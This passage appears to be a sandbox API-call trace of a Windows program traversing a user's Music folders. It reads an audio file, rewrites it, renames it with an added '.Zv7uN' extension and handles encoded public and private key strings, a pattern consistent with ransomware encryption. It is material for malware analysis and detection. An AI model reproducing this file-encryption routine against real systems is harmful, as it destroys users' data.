Z8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.276] GetCurrentThreadId () returned 0xa30 [0086.276] GetCurrentThreadId () returned 0xa30 [0086.276] GetCurrentThreadId () returned 0xa30 [0086.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.277] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.277] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.277] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xd0d [0086.277] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.277] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0xd0d, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0xd0d, lpOverlapped=0x0) returned 1 [0086.279] CloseHandle (hObject=0x11c) returned 1 [0086.279] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.281] WriteFile (in: hFile=0x11c, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0xd0d, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f3e0*=0xd0d, lpOverlapped=0x0) returned 1 [0086.283] CloseHandle (hObject=0x11c) returned 1 [0086.284] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\OUwm.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\ouwm.wav.zv7un")) returned 1 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] GetCurrentThreadId () returned 0xa30 [0086.285] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x794f17b0, ftCreationTime.dwHighDateTime=0x1d5e6c5, ftLastAccessTime.dwLowDateTime=0x5306b0f0, ftLastAccessTime.dwHighDateTime=0x1d5e566, ftLastWriteTime.dwLowDateTime=0x5306b0f0, ftLastWriteTime.dwHighDateTime=0x1d5e566, nFileSizeHigh=0x0, nFileSizeLow=0xd0d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="OUwm.wav", cAlternateFileName="")) returned 0 [0086.285] GetLastError () returned 0x12 [0086.285] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0086.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0x5157d960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5157d960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.286] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.286] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0x5157d960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5157d960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.286] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.286] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.286] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x3b1810f0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x3b1810f0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dh8R", cAlternateFileName="")) returned 1 [0086.286] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.286] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x3b1810f0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x3b1810f0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0086.287] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e1c070, ftCreationTime.dwHighDateTime=0x1d5dadd, ftLastAccessTime.dwLowDateTime=0x3b1810f0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0x3b1810f0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.287] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef33290, ftCreationTime.dwHighDateTime=0x1d5d90b, ftLastAccessTime.dwLowDateTime=0x820acaa0, ftLastAccessTime.dwHighDateTime=0x1d5d87b, ftLastWriteTime.dwLowDateTime=0x820acaa0, ftLastWriteTime.dwHighDateTime=0x1d5d87b, nFileSizeHigh=0x0, nFileSizeLow=0x35c4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="beD8iWFmEj7sj19_RcTk.m4a", cAlternateFileName="BED8IW~1.M4A")) returned 1 [0086.287] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0086.287] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0086.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcef33290, ftCreationTime.dwHighDateTime=0x1d5d90b, ftLastAccessTime.dwLowDateTime=0x820acaa0, ftLastAccessTime.dwHighDateTime=0x1d5d87b, ftLastWriteTime.dwLowDateTime=0x820acaa0, ftLastWriteTime.dwHighDateTime=0x1d5d87b, nFileSizeHigh=0x0, nFileSizeLow=0x35c4)) returned 1 [0086.287] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\siqnk8nzuw\\dh8r\\bed8iwfmej7sj19_rctk.m4a")) returned 0x20 [0086.287] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\SIQNK8nZUW\\dh8R\\beD8iWFmEj7sj19_RcTk.m4a", dwFileAttributes=0x80) returned 1 [0086.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0729c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.291] GetCurrentThreadId () returned 0xa30 [0086.292] GetCurrentThreadId () returned 0xa30 [0086.292] GetCurrentThreadId () returned 0xa30 [0086.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 